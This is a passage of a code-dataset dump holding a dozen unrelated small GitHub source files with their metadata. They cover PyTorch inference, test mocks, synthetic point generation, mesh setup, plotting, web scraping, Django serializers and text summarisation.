torch.nn.Module, \n                        image_path: str, \n                        class_names: List[str] = None, \n                        transform=None,\n                        device: torch.device = device):\n        \"\"\"Makes a prediction on a target image and plots the image with its prediction.\"\"\"\n        \n        # 1. Load in image and convert the tensor values to float32\n        target_image = torchvision.io.read_image(str(image_path)).type(torch.float32)\n        \n        # 2. Divide the image pixel values by 255 to get them between [0, 1]\n        target_image = target_image / 255. \n        \n        # 3. Transform if necessary\n        if transform:\n            target_image = transform(target_image)\n        \n        # 4. Make sure the model is on the target device\n        model.to(device)\n        \n        # 5. Turn on model evaluation mode and inference mode\n        model.eval()\n        with torch.inference_mode():\n            # Add an extra dimension to the image\n            target_image = target_image.unsqueeze(dim=0)\n        \n            # Make a prediction on image with an extra dimension and send it to the target device\n            target_image_pred = model(target_image.to(device))\n            \n        # 6. Convert logits -> prediction probabilities (using torch.softmax() for multi-class classification)\n        target_image_pred_probs = torch.softmax(target_image_pred, dim=1)\n\n        # 7. Convert prediction probabilities -> prediction labels\n        target_image_pred_label = torch.argmax(target_image_pred_probs, dim=1)\n        \n        # 8. Plot the image alongside the prediction and prediction probability\n        plt.imshow(target_image.squeeze().permute(1, 2, 0)) # make sure it's the right size for matplotlib\n        if class_names:\n            title = f\"Pred: {class_names[target_image_pred_label.cpu()]} | Prob: {target_image_pred_probs.max().cpu():.3f}\"\n        else: \n            title = f\"Pred: {target_image_pred_label} | Prob: {target_image_pred_probs.max().cpu():.3f}\"\n        plt.title(title)\n        plt.axis(False)\n        plt.show()\n\n    # Pred on our custom image\n    pred_and_plot_image(model=model_1,\n                        image_path=custom_image_path,\n                        class_names=class_names,\n                        transform=custom_image_transform,\n                        device=device)\n\n\nif __name__ == '__main__':\n    main()","repo_name":"MillerMarc1/learning_pytorch","sub_path":"04_PyTorch_Custom_Datasets/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":33875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"12530789686","text":"from unittest.mock import Mock\n\nimport pytest\n\nfrom libpythonproo import github_api\n\n\n@pytest.fixture\ndef avatar_url(mocker):\n    resp_mock = Mock()\n    url = 'https://avatars.githubusercontent.com/u/94086373?v=4'\n    resp_mock.json.return_value = {\n        'login': 'gustavossandrin', 'id': 94086373, 'node_id': 'U_kgDOBZuk5Q',\n        'avatar_url': url\n    }\n    get_mock = mocker.patch('libpythonproo.github_api.requests.get')\n    get_mock.return_value = resp_mock\n    return url\n\n\ndef teste_buscar_avatar(avatar_url):\n    url = github_api.buscar_avatar('gustavossandrin')\n    assert avatar_url == url\n\n\ndef teste_buscar_avatar_intregracao():\n    url = github_api.buscar_avatar('gustavossandrin')\n    assert 'https://avatars.githubusercontent.com/u/94086373?v=4' == url\n","repo_name":"gustavossandrin/libpythonproo","sub_path":"libpythonproo/tests/test_spam/test_github_api.py","file_name":"test_github_api.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"39397188826","text":"from sklearn import datasets\r\nimport Point\r\nimport Prototype\r\nimport random as rd\r\nimport copy\r\nimport numpy as np\r\n\r\n\r\nclass PointGenerator:\r\n    \r\n    def __init__(self):\r\n        return\r\n        \r\n    def digits(self):\r\n        \"Generate the digit distribution\"\r\n        digit = datasets.load_digits()\r\n        return self.matrixAndLabelsToPoints(digit.data, digit.target)\r\n        \r\n    def uniformPoints(self,n, dim, a, b):\r\n        #anciennement pointsUniforme\r\n        \"Retourne un liste de points générés\"\r\n        X=[]\r\n        for i in range(0,n):\r\n            xi = Point.Point(-1,[i for i in range(dim)],30)\r\n            for j in range(dim):\r\n                xi.setCoordinate(rd.uniform(a,b), j)\r\n            xi.setId(i)\r\n            \r\n            if (xi.getCoordinate(0) < (b+a)/2):\r\n                xi.setLabel(0)\r\n            else :\r\n                xi.setLabel(1)\r\n                \r\n            X += [xi]\r\n        return X   \r\n        \r\n    def splitDistrib(self, X, f):\r\n        \"Splits the distribution in half\"\r\n        x1 = X[0:(int)(f*len(X))]\r\n        x2 = X[(int)(f*len(X)):len(X)]\r\n        return x1, x2\r\n\r\n    def uniformPointsWithoutLabel(self,n, dim, a, b):\r\n        #anciennement pointsUniformeWithoutLabel\r\n        \"Generate a list of points without label\"\r\n        X=[]\r\n        for i in range(0,n):\r\n            xi = Point.Point(-1,[i for i in range(dim)],30)\r\n            for j in range(dim):\r\n                xi.setCoordinate(rd.uniform(a,b), j)\r\n            xi.setId(i)\r\n                \r\n            X += [xi]\r\n        return X\r\n        \r\n    def putLabelsOnHalfSplittingUniform(self, pointsList, a,b):\r\n        #anciennement putLabelsMoitieUniform\r\n        \"Put labels on a separated in half uniform distribution\"\r\n        workingList = copy.deepcopy(pointsList)\r\n        j=0\r\n        for i in workingList:\r\n            if (i.getCoordinate(0)<((b+a)/2)):\r\n                i.setLabel(0)\r\n                j+=1\r\n            else :\r\n                i.setLabel(1)\r\n        return workingList\r\n            \r\n    def matrixAndLabelsToPoints(self, X, labelsList):\r\n        \"Generate Point objects from their coordinates and their label\"\r\n        points = []\r\n        for i in range(X.shape[0]):\r\n            coordinates = []\r\n            for j in range(X.shape[1]):\r\n                coordinates.append(X[i,j])\r\n            points.append(Point.Point(i, coordinates, labelsList[i]))\r\n        return points\r\n        \r\n    def pointsToMatrixAndLabels(self, points):\r\n        \"Generate the coordinates matrix and label list from Point objects\"\r\n        X = np.zeros((len(points), len(points[0].getCoordinates())))\r\n        Y = np.zeros((len(points)))\r\n        for i in range(len(points)):\r\n            for j in range(len(points[i].getCoordinates())):\r\n                X[i,j] = points[i].getCoordinate(j)\r\n            Y[i] = points[i].getLabel()\r\n        return X,Y\r\n    \r\n    def blobToPoints(self, blobs, labelsList):\r\n        \"Generate points forming a blob\"\r\n        points = []\r\n        for k in range(len(blobs)):\r\n            X = blobs[k]\r\n            for i in range(X.shape[0]):\r\n                coordinates = []\r\n                for j in range(X.shape[1]):\r\n                    coordinates.append(X[i,j])\r\n                points.append(Point.Point(i, coordinates, labelsList[i]))\r\n        return points\r\n        \r\n    def generateNoisyCircles(self, n_samples):\r\n        (X, labs) = datasets.make_circles(n_samples=n_samples, factor=.5,noise=.05)\r\n        return self.matrixAndLabelsToPoints(X, labs)\r\n    \r\n    def generateNoisyMoons(self, n_samples):\r\n        (X, labs) = datasets.make_moons(n_samples=n_samples, noise=.05)\r\n        return self.matrixAndLabelsToPoints(X, labs)\r\n        \r\n    def generateBlobs(self, n_samples):\r\n        blobs = datasets.make_blobs(n_samples=n_samples, random_state=8)\r\n        print(blobs)\r\n        (X, labs) = blobs\r\n        return self.matrixAndLabelsToPoints(X, labs)\r\n        \r\n    def generateDeformation(self, nPointsSide, delta, length):\r\n        angle = delta\r\n        nPoints = 2 * nPointsSide + 1\r\n        X = np.zeros((nPoints,2))\r\n        for i in range(nPointsSide):\r\n            x = X[2*i,:]\r\n            X[2*i+2,:] = [x[0] + length * np.sin(angle), x[1] + length * np.cos(angle)]\r\n            X[2*i+1,:] = [X[2*i+2,0], -X[2*i+2,1]]\r\n            angle = angle + delta\r\n        return X\r\n    \r\n    def generateBlob(self, nPoints):\r\n        rhos = np.random.rand(nPoints)\r\n        thetas = 2 * np.pi * np.random.rand(nPoints)\r\n        x = rhos * np.cos(thetas)\r\n        y = rhos * np.sin(thetas)\r\n        \r\n        return np.transpose(np.vstack((x,y)))\r\n        \r\n    def eraseLabels(self, points):\r\n        pointsCopy = copy.deepcopy(points)\r\n        for i in pointsCopy:\r\n            i.setLabel(30)\r\n        return pointsCopy\r\n    \r\n    def generateWholeDriftProblemByStep(self, nbPoints, thetaMax, nbEtapes):\r\n        listeEtapes = []\r\n        for i in range(nbEtapes):\r\n            theta = (i+1)*thetaMax/nbEtapes\r\n            listeEtapes.append(self.generateWholeDriftProblemTheta(nbPoints, theta))\r\n        return listeEtapes\r\n        \r\n    def generateWholeDriftProblemTheta(self, nbrePoints, theta = 0):\r\n        nPointsSide = nbrePoints - 1\r\n        radius = 1\r\n        nPointsBlob = nbrePoints\r\n        nPoints = 2 * nPointsSide + 1\r\n        maxAngle = 2 * np.pi / nPoints\r\n        L0 = 1.0 / nPointsSide\r\n        L1 = 2 * radius * np.sin(np.pi / nPoints)        \r\n        delta = maxAngle * theta\r\n        length = L0 + (L1 - L0) * theta\r\n        X = self.generateDeformation(nPointsSide, delta, length)\r\n        blob = [1.0, 0.0] + 0.25 * self.generateBlob(nPointsBlob)\r\n        #return blobs, transf, Y\r\n#        print(len(transf[0]))\r\n#        print(len(Y))\r\n#        return (self.matrixAndLabelsToPoints(blobs, Y), self.matrixAndLabelsToPoints(transf, Y))\r\n        return self.matrixAndLabelsToPoints(X, np.zeros((len(X)))) + self.matrixAndLabelsToPoints(blob, np.ones((len(X))))\r\n\r\n        \r\n        \r\n    def slicePoints(self, X, labels):\r\n        #anciennement decouper_X\r\n        listXByLabels = []\r\n        for label in labels:\r\n            labelI = []\r\n            for i in X:\r\n                if(i.getLabel() == label):\r\n                    labelI.append(i)\r\n            listXByLabels.append(labelI)\r\n        return listXByLabels\r\n        \r\n    def generateUnevenPrototypes(self, m, X, labels):\r\n        \"In that case, m is a list containing the number of prototypes for each label\"\r\n        listP = []\r\n        listXByLabel = self.slicePoints(X, labels)\r\n        indexesList = []\r\n        for i in range(len(labels)):\r\n            indexesList.append([])\r\n        maxM=max(m)\r\n        for i in range(len(m)):\r\n            for j in range(len(labels)):\r\n                if i > m[j] - 1:\r\n                    continue\r\n                proto=Prototype.Prototype(-1,[i for i in range(len(X[0].getCoordinates()))],30,[])\r\n                index = rd.randint(0, len(listXByLabel[j])-1)\r\n                while index in indexesList[j]:\r\n                    index = rd.randint(0, len(listXByLabel[j])-1)\r\n                indexesList[j].append(index)\r\n                for k in range(len(listXByLabel[j][index].getCoordinates())):\r\n                    proto.setCoordinate(listXByLabel[j][index].getCoordinate(k),k)\r\n                proto.label = labels[j]\r\n                proto.reseau = []\r\n                proto.id = i + labels[j]*maxM\r\n                listP.append(proto)\r\n        return listP\r\n        \r\n    def generatePrototypes(self, m, X, labels):\r\n        \"There is the same number of prototype for each label\"\r\n        listP = []\r\n        listXByLabel = self.slicePoints(X, labels)\r\n        indexesList = []\r\n        for l in range(len(labels)):\r\n            indexesList.append([])\r\n        for i in range(m):\r\n            for j in range(len(labels)):\r\n                proto=Prototype.Prototype(-1,[i for i in range(len(X[0].getCoordinates()))],30,[])\r\n                index = rd.randint(0, len(listXByLabel[j])-1)\r\n                while index in indexesList[j]:\r\n                    index = rd.randint(0, len(listXByLabel[j])-1)\r\n                indexesList[j].append(index)\r\n                for k in range(len(listXByLabel[j][index].getCoordinates())):\r\n                    proto.setCoordinate(listXByLabel[j][index].getCoordinate(k),k)\r\n                proto.label = labels[j]\r\n                proto.network = []\r\n                proto.id = i + labels[j]*m\r\n                listP.append(proto)\r\n        return listP\r\n        ","repo_name":"romainrey/paf2016","sub_path":"PointGenerator.py","file_name":"PointGenerator.py","file_ext":"py","file_size_in_byte":8528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"30357349844","text":"from netCDF4 import Dataset as NetCDFFile\n\nfrom mpas_tools.planar_hex import make_planar_hex_mesh\nfrom mpas_tools.io import write_netcdf\nfrom mpas_tools.mesh.conversion import convert, cull\nfrom mpas_tools.logging import check_call\n\nfrom compass.model import make_graph_file\nfrom compass.step import Step\n\n\nclass SetupMesh(Step):\n    \"\"\"\n    A step for creating a mesh and initial condition for enthalpy benchmark\n    test cases\n    \"\"\"\n    def __init__(self, test_case):\n        \"\"\"\n        Create the step\n\n        Parameters\n        ----------\n        test_case : compass.TestCase\n            The test case this step belongs to\n        \"\"\"\n        super().__init__(test_case=test_case, name='setup_mesh')\n        self.add_output_file(filename='graph.info')\n        self.add_output_file(filename='landice_grid.nc')\n\n    # no setup() method is needed\n\n    def run(self):\n        \"\"\"\n        Run this step of the test case\n       \"\"\"\n        logger = self.logger\n        section = self.config['enthalpy_benchmark']\n        nx = section.getint('nx')\n        ny = section.getint('ny')\n        dc = section.getfloat('dc')\n        levels = section.get('levels')\n\n        dsMesh = make_planar_hex_mesh(nx=nx, ny=ny, dc=dc, nonperiodic_x=True,\n                                      nonperiodic_y=True)\n\n        write_netcdf(dsMesh, 'grid.nc')\n\n        dsMesh = cull(dsMesh, logger=logger)\n        dsMesh = convert(dsMesh, logger=logger)\n        write_netcdf(dsMesh, 'mpas_grid.nc')\n\n        args = ['create_landice_grid_from_generic_MPAS_grid.py',\n                '-i', 'mpas_grid.nc',\n                '-o', 'landice_grid.nc',\n                '-l', levels,\n                '--thermal']\n\n        check_call(args, logger)\n\n        make_graph_file(mesh_filename='landice_grid.nc',\n                        graph_filename='graph.info')\n\n        _setup_initial_conditions(section, 'landice_grid.nc')\n\n\ndef _setup_initial_conditions(section, filename):\n    \"\"\" Add the initial conditions for enthalpy benchmark A \"\"\"\n    thickness = section.getfloat('thickness')\n    basal_heat_flux = section.getfloat('basal_heat_flux')\n    surface_air_temperature = section.getfloat('surface_air_temperature')\n    temperature = section.getfloat('temperature')\n\n    with NetCDFFile(filename, 'r+') as gridfile:\n        thicknessVar = gridfile.variables['thickness']\n        bedTopography = gridfile.variables['bedTopography']\n        basalHeatFlux = gridfile.variables['basalHeatFlux']\n        surfaceAirTemperature = gridfile.variables['surfaceAirTemperature']\n        temperatureVar = gridfile.variables['temperature']\n\n        thicknessVar[:] = thickness\n        bedTopography[:] = 0\n        basalHeatFlux[:] = basal_heat_flux\n        surfaceAirTemperature[:] = surface_air_temperature\n        temperatureVar[:] = temperature\n","repo_name":"MPAS-Dev/compass","sub_path":"compass/landice/tests/enthalpy_benchmark/setup_mesh.py","file_name":"setup_mesh.py","file_ext":"py","file_size_in_byte":2800,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"18"}
{"seq_id":"441418509","text":"import datetime\nimport sys\n\n\nnow = datetime.datetime.now()\ntoday = now.strftime('%Y-%m-%d')\ntimestamp = now.strftime('%Y%m%d %H:%M:%S')\nshort_title = sys.argv[1] if len(sys.argv) > 1 else 'post'\npath = '_posts/%s-%s.md' % (today, short_title)\n\nprint(f\"path: {path}\")\n\nheader = \"\"\"\n---\nlayout: post\ntitle:  \"%s\"\ndate:  %s +0800\ncategories: default\ntags:\n - blogging\n---\n\"\"\" % (short_title, timestamp)\n\n\nwith open(path, \"w+\") as f:\n    f.write(header)\n\nif len(sys.argv) == 1:\n    print('***WARN: default title is used***')\n","repo_name":"gary-liguoliang/notes","sub_path":"np.py","file_name":"np.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"34448317812","text":"import matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\n#from scipy import fft, arange\nimport numpy as np\nfrom pylab import figure\nimport const as c\n\n\ndef to_plot(out_buffers, inp_signal_buff):\n\n    figure(1)\n    ax1 = plt.subplot(611)\n    ax1.plot(c.t, inp_signal_buff)\n    ax1.set_title('Вход приемника (сигнал + помехи)  ' + str(\"fs = \") +\n                  str(c.fs) + \" Hz\")\n    ax1.grid(True)\n\n    ax2 = plt.subplot(612, sharex=ax1)\n    ax2.plot(c.t, out_buffers[0])\n    ax2.set_title('Сигнал на выходе канального фильтра (400 - 800 Гц)  ' +\n                  str(\"fs = \") + str(c.fs) + \" Hz\")\n    ax2.grid(True)\n\n    ax3 = plt.subplot(613)\n    ax3.plot(c.t2, out_buffers[1])\n    ax3.plot(c.t2, out_buffers[2])\n    ax3.set_title('Сигнал на выходе когерентного детектора  ' + str(\"fs = \") +\n                  str(c.fs2) + \" Hz\")\n    ax3.grid(True)\n\n    ax5 = plt.subplot(614)\n    ax5.plot(c.t2, out_buffers[3], label='8Hz')\n    ax5.plot(c.t2, out_buffers[4], label='12Hz')\n    ax5.set_title('Сигналы на выходах фильтров 8 и 12 Гц ' + str(\"fs = \") +\n                  str(c.fs2) + \" Hz\")\n    ax5.grid(True)\n    ax5.legend()\n\n    ax7 = plt.subplot(615)\n    ax7.plot(c.t2, out_buffers[5], label='8Hz')\n    ax7.plot(c.t2, out_buffers[6], label='12Hz')\n    ax7.plot(c.t2, out_buffers[7], label='8Hz')\n    ax7.plot(c.t2, out_buffers[8], label='12Hz')\n    ax7.set_title('Сигналы на входах\\выходах компараторов ' + str(\"fs = \") +\n                  str(c.fs2) + \" Hz\")\n    ax7.grid(True)\n    ax7.legend()\n\n    ax11 = plt.subplot(616)\n    ax11.plot(c.t2, out_buffers[9], label='уровень сигнал\\шум 8 Гц')\n    ax11.plot(c.t2, out_buffers[10], label='уровень сигнал\\шум 12 Гц')\n    plt.ylim(0, 40)\n    ax11.set_title('Индикатор сигнал/шум в канале (разницы\\\n     уровней в каналах 8 и 12 Гц '+ str(\"fs = \")\\\n     + str(c.fs2) + \" Hz\")\n    ax11.grid(True)\n    ax11.legend()\n\ndef plotSpectrum(y):\n    \"\"\"\n\tFunction to plot the time domain and frequency domain signal\n\t\"\"\"\n    figure(2)\n    plt.ylim(0, 100)\n    plt.xlim(0, 2000)\n    plt.grid(True)\n    #plt.legend()\n    plt.magnitude_spectrum(y, Fs=c.fs, scale='dB')\n    plt.ylabel('Уровень (dB)')\n    plt.xlabel('Частота (Hz)')\n","repo_name":"starodubtsevm/trc3","sub_path":"Trc3_rx/trc3_model_s/plot2.py","file_name":"plot2.py","file_ext":"py","file_size_in_byte":2438,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"35151228340","text":"#Size of the points reduced on purpose to run faster\r\n\r\n#Important modules\r\nimport csv\r\nfrom plotly.graph_objs import Scattergeo, Layout\r\nfrom plotly import offline\r\nfrom datetime import datetime\r\n\r\n#Explore the structure of the data\r\nfilename = \"data/world_fires_7_day.csv\"\r\n\r\nwith open(filename) as f:\r\n\treader = csv.reader(f)\r\n\theader_row = next(reader)\r\n\tprint(header_row)\r\n\r\n\t#Extracting fire information\r\n\tbrightness, lons, lats, daynight, date = [], [], [], [], []\r\n\r\n\t#Look for the relevant information\r\n\tlat_index = header_row.index(\"latitude\")\r\n\tlon_index = header_row.index(\"longitude\")\r\n\tbright_index = header_row.index(\"bright_ti4\")\r\n\tdn_index = header_row.index(\"daynight\")\r\n\tday_index = header_row.index(\"acq_date\")\r\n\r\n\tfor row in reader:\r\n\t\t\r\n\t\ttry:\r\n\t\t\tbright = float(row[bright_index])\r\n\t\t\tlat = float(row[lat_index])\r\n\t\t\tlon = float(row[lon_index])\r\n\t\t\tdn = row[dn_index]\r\n\t\t\tday = datetime.strptime(row[day_index], \"%Y-%m-%d\")\r\n\t\texcept:\r\n\t\t\tprint(f\"N/A\")\r\n\t\telse:\r\n\t\t\tlats.append(lat)\r\n\t\t\tlons.append(lon)\r\n\t\t\tbrightness.append(bright)\r\n\t\t\tdaynight.append(dn)\r\n\t\t\tdate.append(day.date())\r\n\r\ndata = [{\r\n\t\t'type': 'scattergeo',\r\n\t\t\"lon\":lons, \r\n\t\t\"lat\": lats,\r\n\t\t\"text\": daynight,\r\n\t\t\"marker\": {\r\n\t\t\t\"size\":[brightn/100 for brightn in brightness],\r\n\t\t\t\"color\": [brightn/100 for brightn in brightness],\r\n\t\t\t\"colorscale\": \"Hot\",\r\n\t\t\t\"reversescale\": True,\r\n\t\t\t\"colorbar\": {\"title\": \"Brightness/100\"},\r\n\t\t\t},\r\n\t\t}]\r\n\r\nmy_layout = Layout(title= \"Global Fires 2018\")\r\n\r\nfig = {\"data\": data, \"layout\": my_layout}\r\noffline.plot(fig, filename = \"global_fires.html\")\r\n\r\nf.close()\r\n","repo_name":"Tiago851/Data-Visualization","sub_path":"world_fires.py","file_name":"world_fires.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"6461138173","text":"#!/usr/bin/env python3\nimport requests\nimport json\nfrom bs4 import BeautifulSoup\nimport os\nimport socket\nfrom time import sleep\nimport sys\n\n\ndef wait_till_online():\n    try:\n        host = socket.gethostbyname(\"tagesschau.de\")\n    except:\n        sleep(1)\n        print(\"offline\")\n        wait_till_online()\n\ndef get_latest(links):\n    return  sorted(links)[-1]\n\ndef scrape_links(url):\n    page = requests.get(url)\n    soup = BeautifulSoup(page.content, 'html.parser')\n    # players = soup.find_all('div',  {\"class\": \"ts-mediaplayer ts-mediaplayer--einszueins ts-mediaplayer--list\"})\n\n    players = soup.find_all('div',  {\"class\": \"ts-mediaplayer\"})\n    links = []\n    for player_item in players:\n        attribs = player_item.attrs\n        data = attribs[\"data-config\"]\n        try:\n            title = json.loads(data)[\"mc\"][\"_title\"]\n            if \"tsde\" in title or title == \"Ganze Sendung\":\n                if \"Gebärdensprache\" not in data:\n                    links.append(json.loads(data)[\"mc\"]['_mediaArray'][0][\"_mediaStreamArray\"][4][\"_stream\"])\n        except KeyError:\n            pass\n    return links\n\nplayer = \"castnow\"\nif len(sys.argv) > 1: \n    player = sys.argv[1]\nurl = \"https://www.tagesschau.de/multimedia/\"\nwait_till_online()\nlinks = scrape_links(url)\nurl = get_latest(links)\ncmd = f\"{player} {url}\"\nos.system(cmd)\n","repo_name":"Randalix/latest_tagesschau","sub_path":"tagesschau.py","file_name":"tagesschau.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"39168111107","text":"from rest_framework import serializers\nfrom datetime import date,timedelta\nfrom authen.models import *\nfrom mahalla.models import *\n\nclass CategoriyaPeopleSerializers(serializers.ModelSerializer):\n    class Meta:\n        model = Categoriya\n        fields = ['id','name']\n\nclass UserSektorSerializers(serializers.ModelSerializer):\n    class Meta:\n        model = CustumUsers\n        fields = ['id','first_name','last_name','position','phone']\n\nclass RegionAllSerializers(serializers.ModelSerializer):\n    class Meta:\n        model = Region\n        fields = ['id','name']\n\nclass MahallaAllSerializers(serializers.ModelSerializer):\n    class Meta:\n        model = Mahalla\n        fields = ['id','name','id_sektor']\n\n\n\nclass SektorSerializers(serializers.ModelSerializer):\n    class Meta:\n        model = Sektor\n        fields = ['id','name']\n\nclass DistirckSerializers(serializers.ModelSerializer):\n    id_sektor = SektorSerializers(read_only=True,many=True)\n    class Meta:\n        model = District\n        fields = ['id','name','id_sektor']\n\nclass TaslCategoriyaSerializers(serializers.ModelSerializer):\n    class Meta:\n        model = TaskCategoriya\n        fields = '__all__'\n\nclass TaskPeopleSerializers(serializers.ModelSerializer):\n    id_user = UserSektorSerializers(read_only=True)\n    id_task_category = TaslCategoriyaSerializers(read_only=True)\n    class Meta:\n        model = Tasks\n        fields = '__all__'\n\nclass PeopleAllSerializers(serializers.ModelSerializer):\n    id_categor = CategoriyaPeopleSerializers(read_only=True)\n    responsible_employee = UserSektorSerializers(read_only=True)\n    id_mahalla = MahallaAllSerializers(read_only=True)\n    id_region = RegionAllSerializers(read_only=True)\n    id_sektor = SektorSerializers(read_only=True)\n    id_districk = DistirckSerializers(read_only=True)\n    people = TaskPeopleSerializers(many=True,read_only=True)\n    class Meta:\n        model = People\n        fields = ('id','full_name','birth_date','phone','village','additional_information','id_categor','id_mahalla','id_sektor','id_region','id_districk','responsible_employee','create_user','people')\n\nclass PeopleCreateSerializers(serializers.ModelSerializer):\n    class Meta:\n        model = People\n        fields = ['full_name','birth_date','phone','village','additional_information','id_categor','id_mahalla','id_sektor','id_region','id_districk','responsible_employee','create_user',]\n    def create(self, validated_data):\n        user_create = People.objects.create(**validated_data)\n        user_create.id_mahalla = self.context.get('id_mahalla')\n        user_create.id_sektor = self.context.get('id_sektor')\n        user_create.id_region = self.context.get('id_region')\n        user_create.id_districk = self.context.get('id_districk')\n        user_create.create_user = self.context.get('create_user')\n        user_create.save()\n        return user_create\n    \n\n\n\nclass TaskSerializers(serializers.ModelSerializer):\n    class Meta:\n        model = TaskCategoriya\n        fields = ['id','name']\n\nclass TaskUser(serializers.ModelSerializer):\n    class Meta:\n        model = CustumUsers\n        fields = ['id','first_name','last_name','phone','position']\n\nclass UserSerializersAll(serializers.ModelSerializer):\n    class Meta:\n        model = CustumUsers\n        fields = ['id','first_name','last_name']\n\nclass TaskAllSerializers(serializers.ModelSerializer):\n    id_user = TaskUser(read_only=True)\n    class Meta:\n        model = Tasks\n        fields = '__all__'\n\n\nclass TaskCrudSerializers(serializers.ModelSerializer):\n    class Meta:\n        model = Tasks\n        fields = ['id','id_people','id_task_category','id_user','task','is_user','comment','date_line']\n    def create(self, validated_data):\n        task_create = Tasks(\n            id_task_category = validated_data['id_task_category'],\n            id_user = validated_data['id_user'],\n            task = validated_data['task'],\n            comment = validated_data['comment']\n        )\n        task_create.id_people = self.context.get('id_people')\n        for item in TaskCategoriya.objects.all():\n            if validated_data['id_task_category'] == item:\n                x = date.today()+timedelta(days=item.date)\n        task_create.date_line = x\n        task_create.save()\n        return task_create\n    \nclass TaskCreateFiles(serializers.ModelSerializer):\n    class Meta:\n        model = Tasks\n        fields = ['id','id_people','files','is_user','is_task']\n    def update(self, instance, validated_data):\n        instance.files = validated_data.get('files',instance.files)\n        instance.is_user = validated_data.get('is_user',instance.is_user)\n        instance.save() \n        return instance","repo_name":"Ibrokhim1006/Mahalla","sub_path":"mahalla/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":4683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"74619481638","text":"class DeploymentInfoRepository(object):\n\n    def __init__(self, model_constructor, control_node_repo, license_repo, sensor_repo):\n        self.__model_constructor = model_constructor\n        self.__control_node_repository = control_node_repo\n        self.__license_repository = license_repo\n        self.__sensor_repository = sensor_repo\n\n    def get_deployment_info(self):\n        info = self.__model_constructor(\n            self.__control_node_repository.get_control_node(),\n            self.__license_repository.get_license(),\n            self.__sensor_repository.get_sensors()\n        )\n\n        return info\n","repo_name":"jpalanco/alienvault-ossim","sub_path":"alienvault-api/alienvault-api-core/src/bounded_contexts/central_console/domain_services/deployment_info_repository.py","file_name":"deployment_info_repository.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":114,"dataset":"github-code","pt":"18"}
{"seq_id":"29974022154","text":"#!/usr/bin/env python3\n\nimport socket\nfrom xml.dom import minidom\nimport sys\nHOST = '0.0.0.0'  # The server's hostname or IP address\nPORT = 12345        # The port used by the server\nPORT_IN = 23456\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\nf=open(sys.argv[1], \"r\")\nif f.mode == 'r':\n    contents =f.read()\n\nclass Connection:\n        def send_to_server(self):\n          \n            s.connect((HOST, PORT))\n            #s.sendall(b'<create><symbol sym=\"AAA\"><account id=\"666\">100</account></symbol></create>')\n            s.sendall(bytes(contents, 'utf-8'))\n            #data = s.recv(1024)\n            #s.sendall(b'<transactions id=\"10\"><order sym=\"BBB\" amount=\"1000\" limit=\"100\"/></transactions>')\n        def receive(self):\n            xml = ''\n          \n            data = s.recv(10240)\n          \n            xml += str(data,'utf-8')\n                #conn.sendall(data)\n            print(minidom.parseString(xml).toprettyxml(indent = \"    \"))\n\ndef main():\n    con = Connection()\n    con.send_to_server()\n    con.receive()\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"yuqiaoliang/robust-server","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"10850537605","text":"from transformers import AutoTokenizer, AutoModelForSeq2SeqLM, pipeline\nfrom enum import Enum\n\n\nclass SummaryModel:\n\n    def __init__(self, model_type: str, **kwargs):\n        # I used this construction method to make it easier to add new models and model types in the future.\n        if model_type in Models.__members__.keys():\n            self.model = Models[model_type].value(**kwargs)\n        else:\n            raise Exception(f\"Model {model_type} not abailable.\\nAvailable models are: {Models.__members__.keys()}\")\n\n    def get_summary(self, text):\n        return self.model.get_summary(text)\n\n\nclass SummaryModelTest(SummaryModel):\n    def __init__(self):\n        pass\n\n    def get_summary(self, text):\n        summary = f\"Test summary of string {text}\"\n        return summary\n\n\nclass SummaryModelTransformer(SummaryModel):\n    def __init__(self, hf_model_name: str = \"sshleifer/distilbart-cnn-12-6\"):\n        self.tokenizer = AutoTokenizer.from_pretrained(hf_model_name)\n        self.model = AutoModelForSeq2SeqLM.from_pretrained(hf_model_name)\n\n    def get_summary(self, text):\n        assert type(text) == str, f\"Input text must be a string but found {type(text)}\"\n        inputs = self.tokenizer.encode(text, return_tensors=\"pt\", max_length=512)\n        outputs = self.model.generate(inputs, max_length=150, min_length=40, length_penalty=2.0, num_beams=4,\n                                      early_stopping=True)\n        summary = self.tokenizer.batch_decode(outputs)[0]\n        return summary[7:-4]  # remove useless characters given as output by the tokenizer\n\n\nclass Models(Enum):\n    TRANSFORMERS = SummaryModelTransformer\n    # NLTK = SummaryModelTest\n    TEST = SummaryModelTest\n\n\nif __name__ == '__main__':\n    # simple AI model test\n    text = \"this is a test text from which we want to extract a good summary!\"\n    summary_model = SummaryModel('TRANSFORMERS', hf_model_name=\"sshleifer/distilbart-cnn-12-6\")\n    # summary_model = SummaryModel('nothing')\n    summary = summary_model.get_summary(text)\n    print(summary)\n","repo_name":"federicoBetti/NLP_TextSummarization_FastAPI","sub_path":"ai_nlp.py","file_name":"ai_nlp.py","file_ext":"py","file_size_in_byte":2039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
